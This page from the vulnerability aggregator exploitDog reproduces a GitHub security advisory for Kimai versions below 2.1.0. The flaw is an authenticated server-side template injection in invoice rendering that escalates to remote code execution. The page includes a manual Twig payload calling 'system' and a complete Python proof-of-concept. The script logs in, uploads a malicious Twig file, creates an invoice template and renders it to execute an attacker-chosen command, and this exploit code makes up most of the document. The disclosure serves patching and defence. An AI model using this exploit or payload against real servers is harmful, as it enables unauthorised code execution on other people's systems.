Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-fjhg-96cp-6fcw

Опубликовано: 30 окт. 2023
Источник: github
Github: Прошло ревью
CVSS3: 7.2

Описание

Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File

Description

The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.

Snippet of Vulnerable Code:

public function render(array $timesheets, TimesheetQuery $query): Response { ... $content = $this->twig->render($this->getTemplate(), array_merge([ 'entries' => $timesheets, 'query' => $query, ... ], $this->getOptions($query))); ... $content = $this->converter->convertToPdf($content, $pdfOptions); ... return $this->createPdfResponse($content, $context); }

The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.

In below, you can find the docker-compose file was used for this testing:

version: '3.5' services: sqldb: image: mysql:5.7 environment: - MYSQL_ROOT_HOST='%' - MYSQL_DATABASE=kimai - MYSQL_USER=kimaiuser - MYSQL_PASSWORD=kimaipassword - MYSQL_ROOT_PASSWORD=changemeplease ports: - 3336:3306 volumes: - mysql:/var/lib/mysql command: --default-storage-engine innodb restart: unless-stopped healthcheck: test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1 interval: 20s start_period: 10s timeout: 10s retries: 3 nginx: image: tobybatch/nginx-fpm-reverse-proxy ports: - 8001:80 volumes: - public:/opt/kimai/public:ro restart: unless-stopped depends_on: - kimai healthcheck: test: wget --spider http://nginx/health || exit 1 interval: 20s start_period: 10s timeout: 10s retries: 3 kimai: # This is the latest FPM image of kimai image: kimai/kimai2:fpm-prod environment: - ADMINMAIL=admin@kimai.local - ADMINPASS=changemeplease - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2 - memory_limit=1024 volumes: - public:/opt/kimai/public # - var:/opt/kimai/var # - ./ldap.conf:/etc/openldap/ldap.conf:z # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z restart: unless-stopped phpmyadmin: image: phpmyadmin restart: always ports: - 8081:80 environment: - PMA_ARBITRARY=1 postfix: image: catatnight/postfix:latest environment: maildomain: neontribe.co.uk smtp_user: kimai:kimai restart: unless-stopped volumes: var: public: mysql:

Steps to Reproduce (Manually): 1- Upload a malicious Twig file to the server containing the following payload {{['id>/tmp/pwned']|map('system')|join}} 2- Trigger the SSTI vulnerability by downloading the invoices. 3- The malicious code gets executed, leading to RCE. 4- /tmp/pwned file will be created on the target system

I've also attached an automated script to ease up the process of reproducing:

Proof of Concept

import requests import re import string import random import sys session = requests.session() BASE_URL = sys.argv[1] def generate(size=6, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) def get_csrf(path, session): try: project_id = "" csrf_token = "" preview_id = "" template_ids = [] activity_customer_list = [] csrf_login_response = session.get(f"{BASE_URL}{path}").text # Extract CSRF Token pattern = re.compile(r'<input[^>]*?name=["\'].*?token[^"\']*["\'][^>]*?value=["\'](.*?)["\'][^>]*?>', re.IGNORECASE) match = pattern.search(csrf_login_response) if match: csrf_token = match.group(1) if "performSearch" in path: preview_pattern = re.compile(r'<div[^>]*id="preview-token"[^>]*data-value="(.*?)"[^>]*>', re.IGNORECASE) preview_match = preview_pattern.search(csrf_login_response) if preview_match: preview_id = preview_match.group(1) template_pattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE) template_matches = template_pattern.findall(csrf_login_response) if template_matches: template_ids = [int(id) for id in template_matches] if "timesheet" in path: option_pattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE) option_matches = option_pattern.findall(csrf_login_response) if option_matches: activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches] if "project" in path or "activity" in path: project_id_match = re.search(r'<option value="(\d+)"[^>]*data-currency="EUR"[^>]*>', csrf_login_response) if project_id_match: project_id = project_id_match.group(1) return csrf_token, project_id, preview_id, template_ids, activity_customer_list except Exception as e: print(f"Error occurred: {e}") return None, None, None, None, None def login(username,password,csrf,session): try: params = {"_username": username, "_password": password, "_csrf_token": csrf} login_response = session.post(f"{BASE_URL}/login_check", data=params, allow_redirects=True) if "I forgot my password" not in login_response.text: print(f"[+] Logged in: {username}") return session else: print("Wrong username,password", username) exit(1) except Exception as e: print(str(e)) pass def create_customer(token,name,session): try: data = { 'customer_edit_form[name]': (None, name), 'customer_edit_form[color]': (None, ''), 'customer_edit_form[comment]': (None, 'xx'), 'customer_edit_form[address]': (None, 'xx'), 'customer_edit_form[company]': (None, ''), 'customer_edit_form[number]': (None, '0002'), 'customer_edit_form[vatId]': (None, ''), 'customer_edit_form[country]': (None, 'DE'), 'customer_edit_form[currency]': (None, 'EUR'), 'customer_edit_form[timezone]': (None, 'UTC'), 'customer_edit_form[contact]': (None, ''), 'customer_edit_form[email]': (None, ''), 'customer_edit_form[homepage]': (None, ''), 'customer_edit_form[mobile]': (None, ''), 'customer_edit_form[phone]': (None, ''), 'customer_edit_form[fax]': (None, ''), 'customer_edit_form[budget]': (None, '0.00'), 'customer_edit_form[timeBudget]': (None, '0:00'), 'customer_edit_form[budgetType]': (None, ''), 'customer_edit_form[visible]': (None, '1'), 'customer_edit_form[billable]': (None, '1'), 'customer_edit_form[invoiceTemplate]': (None, ''), 'customer_edit_form[invoiceText]': (None, ''), 'customer_edit_form[_token]': (None, token), } response = session.post(f"{BASE_URL}/admin/customer/create", files=data) except Exception as e: print(str(e)) def create_project(token, name,project_id ,session): try: form_data = { 'project_edit_form[name]': (None, name), 'project_edit_form[color]': (None, ''), 'project_edit_form[comment]': (None, ''), 'project_edit_form[customer]': (None, project_id), 'project_edit_form[orderNumber]': (None, ''), 'project_edit_form[orderDate]': (None, ''), 'project_edit_form[start]': (None, ''), 'project_edit_form[end]': (None, ''), 'project_edit_form[budget]': (None, '0.00'), 'project_edit_form[timeBudget]': (None, '0:00'), 'project_edit_form[budgetType]': (None, ''), 'project_edit_form[visible]': (None, '1'), 'project_edit_form[billable]': (None, '1'), 'project_edit_form[globalActivities]': (None, '1'), 'project_edit_form[invoiceText]': (None, ''), 'project_edit_form[_token]': (None, token) } response = session.post(f"{BASE_URL}/admin/project/create", files=form_data) except Exception as e: print(str(e)) def create_activity(token, name,project_id ,session): try: form_data = { 'activity_edit_form[name]': (None, name), 'activity_edit_form[color]': (None, ''), 'activity_edit_form[comment]': (None, ''), 'activity_edit_form[project]': (None, ''), 'activity_edit_form[budget]': (None, '0.00'), 'activity_edit_form[timeBudget]': (None, '0:00'), 'activity_edit_form[budgetType]': (None, ''), 'activity_edit_form[visible]': (None, '1'), 'activity_edit_form[billable]': (None, '1'), 'activity_edit_form[invoiceText]': (None, ''), 'activity_edit_form[_token]': (None, token), } response = session.post(f"{BASE_URL}/admin/activity/create", files=form_data) if response.status_code == 201: print(f"[+] Activity created: {name}") except Exception as e: print(f"An error occurred: {str(e)}") def upload_malicious_document(token,session): try: form_data = { 'invoice_document_upload_form[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'), 'invoice_document_upload_form[_token]': (None, token) } response = session.post(f"{BASE_URL}/invoice/document_upload", files=form_data) if ".pdf.twig" in response.text: print("[+] Twig uploaded successfully!") else: print("[-] Error while uploading, exiting..") exit(1) except Exception as e: print(f"An error occurred: {str(e)}") import re def create_malicious_template(token, name, session): try: data = { 'invoice_template_form[name]': name, 'invoice_template_form[title]': name, 'invoice_template_form[company]': name, 'invoice_template_form[vatId]': '', 'invoice_template_form[address]': '', 'invoice_template_form[contact]': '', 'invoice_template_form[paymentTerms]': '', 'invoice_template_form[paymentDetails]': '', 'invoice_template_form[dueDays]': '30', 'invoice_template_form[vat]': '0.000', 'invoice_template_form[language]': 'en', 'invoice_template_form[numberGenerator]': 'default', 'invoice_template_form[renderer]': 'din', 'invoice_template_form[calculator]': 'default', 'invoice_template_form[_token]': token } response = session.post(f"{BASE_URL}/invoice/template/create", data=data) # Define the regex pattern to capture the template ID and match the name pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s*<td class="alwaysVisible col_name">{re.escape(name)}</td>', re.DOTALL) # Search the response text with the regex pattern match = pattern.search(response.text) if match: template_id = match.group(1) # Extract the captured group print(f"[+] Malicious Template: {name}, Template ID: {template_id}") return template_id # Return the captured template ID else: print("[-] Failed to capture the template ID") create_malicious_template(token,name,session) except Exception as e: print(f"An error occurred: {str(e)}") exit(1) def create_timesheet(token, activity, project, session): form_data = { 'timesheet_edit_form[begin_date]': (None, '01/01/1980'), 'timesheet_edit_form[begin_time]': (None, '12:00 AM'), 'timesheet_edit_form[duration]': (None, '0:15'), 'timesheet_edit_form[end_time]': (None, '12:15 AM'), 'timesheet_edit_form[customer]': (None, ''), 'timesheet_edit_form[project]': (None, project), 'timesheet_edit_form[activity]': (None, activity), 'timesheet_edit_form[description]': (None, ''), 'timesheet_edit_form[fixedRate]': (None, ''), 'timesheet_edit_form[hourlyRate]': (None, ''), 'timesheet_edit_form[billableMode]': (None, 'auto'), 'timesheet_edit_form[_token]': (None, token) } response = session.post(f"{BASE_URL}/timesheet/create", files=form_data,allow_redirects=False) if response.status_code == 302: # Changed to 200 as 301 is for redirection print(f"[+] Created a new timesheet") ############################## # login csrf, _, _, _, _ = get_csrf("/login", session) # login("admin", "password", csrf, session) login(sys.argv[2],sys.argv[3],csrf,session) # create new customer get_customer_token, _, _, _, _ = get_csrf("/admin/customer/create", session) customer_name = generate() create_customer(get_customer_token, customer_name, session) # create new project with customer_name get_project_token, customer_id, _, _, _ = get_csrf("/admin/project/create", session) project_name = generate() create_project(get_project_token, project_name, customer_id, session) # create new activity get_activity_token, project_id, _, _, _ = get_csrf("/admin/activity/create", session) activity_name = generate() create_activity(get_activity_token, activity_name, project_id, session) # EXPLOIT ###################### # upload malicious file upload_token, _, _, _, _ = get_csrf("/invoice/document_upload", session) upload_malicious_document(upload_token, session) # create malicious template to trigger the SSTI get_template_token, _, _, _, _ = get_csrf("/invoice/template/create", session) template = generate() temp_id = create_malicious_template(get_template_token, template, session) # create a timesheet with project_id and activity_id activity_customer_list = get_csrf("/timesheet/create", session)[4] # get the activity_customer_list from get_csrf function print(f"[+] Constructing renderer URLs..") # iterate through all relative project_ids and customer_id for exploit stabiliy for activity_id, customer_id in activity_customer_list: csrf = get_csrf("/timesheet/create", session)[0] # Update CSRF token for each iteration print(f"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}") create_timesheet(csrf, activity_id, customer_id, session) postData = { "searchTerm": "", "daterange": "", "state": "1", "billable": "0", "exported": "1", "orderBy": "begin", "order": "DESC", "exporter": "pdf" } # export timesheets so they appear in exported invoices export = session.post(f"{BASE_URL}/timesheet/export/", data=postData).text if "PDF-1.4" in export: csrf, _, _, _, _ = get_csrf("/invoice/", session) # get preview token to construct the preview URL to trigger SSTI csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&_token={csrf}&template={temp_id}", session) for template_id in template_ids: rendererURL = f"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=&daterange=&exported=1&template={temp_id}&invoiceDate=&_token={csrf}&customers[]={customer_id}" # trigger the payload by visiting the renderer URL rce = session.get(rendererURL) if "PDF-1.4" in rce.text: print(rendererURL) print("[+] successfully executed payload") # save the pdf locally since rendered URL will expire as soon as we end the session pdf = f"{generate()}.pdf" with open(pdf,'wb') as pdfFile: pdfFile.write(rce.content) pdfFile.flush() pdfFile.close() print(f"[+] Saved results with name: {pdf}") exit(1) print("[-] Failed to execute payload, try to trigger manually..")

which can be executed as such:

$ python3 spl0it.py http://localhost:8001/en admin password "ls -la"

this will download the rendered file which will contain the results of the RCE:

kimaiRCE

Impact

Remote Code Execution

Пакеты

Наименование

kimai/kimai

composer
Затронутые версииВерсия исправления

< 2.1.0

2.1.0

EPSS

Процентиль: 84%
0.0227
Низкий

7.2 High

CVSS3

Дефекты

CWE-1336

Связанные уязвимости

CVSS3: 7.2
nvd
больше 2 лет назад

Kimai is a web-based multi-user time-tracking application. Versions prior to 2.1.0 are vulnerable to a Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities. Version 2.1.0 enables security measures for custom Twig templates.

EPSS

Процентиль: 84%
0.0227
Низкий

7.2 High

CVSS3

Дефекты

CWE-1336